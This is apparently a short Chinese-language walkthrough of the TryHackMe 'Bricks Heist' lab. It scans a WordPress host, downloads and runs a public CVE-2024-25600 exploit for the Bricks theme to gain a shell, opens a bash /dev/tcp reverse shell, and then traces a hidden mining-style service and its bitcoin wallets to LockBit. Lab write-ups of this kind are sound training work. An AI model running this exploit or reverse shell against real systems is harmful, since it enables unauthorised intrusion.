thm日记

TryHack3M: Bricks Heist

先在etc/hosts下面写入bricks.thm的ip

1
2
3


cd /etc 
echo "10.10.182.111 bricks.thm" >>hosts
cat hosts

然后nmap扫端口

1

nmap -sV bricks.thm

22,80,443,3306端口开放

进入界面发现是WordPress

用wpscan扫描

1

wpscan --url https://bricks.thm --disable-tls-checks

wordpress bricks 1.9.5

有一个cve:CVE-2024-25600

1

wget https://raw.githubusercontent.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT/main/CVE-2024-25600.py

1

python3 CVE-2024-25600.py -u https://bricks.thm

拿到shell

1

cat 650c844110baced87e1606453b93f22a.txt

查看可疑进程

1

systemctl | grep running

下面这个就可以知道可以进程的名称

1

systemctl status ubuntu.service

用前下的shell进行nc监听反弹shell

1

bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'

前下知道进程名称为nm-inet-dialog

下面有他的目录

1

ls -la

发现inet.conf文件

1

head inet.conf

回显一串16进制字符，双层base64解密后得到字符串

去blockchain官网

1

bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa

复制钱的来源

1

bc1q5jqgm7nvrhaw2rh2vk0dk8e4gg5g373g0vz07r

这里找到它们的组织是LockBit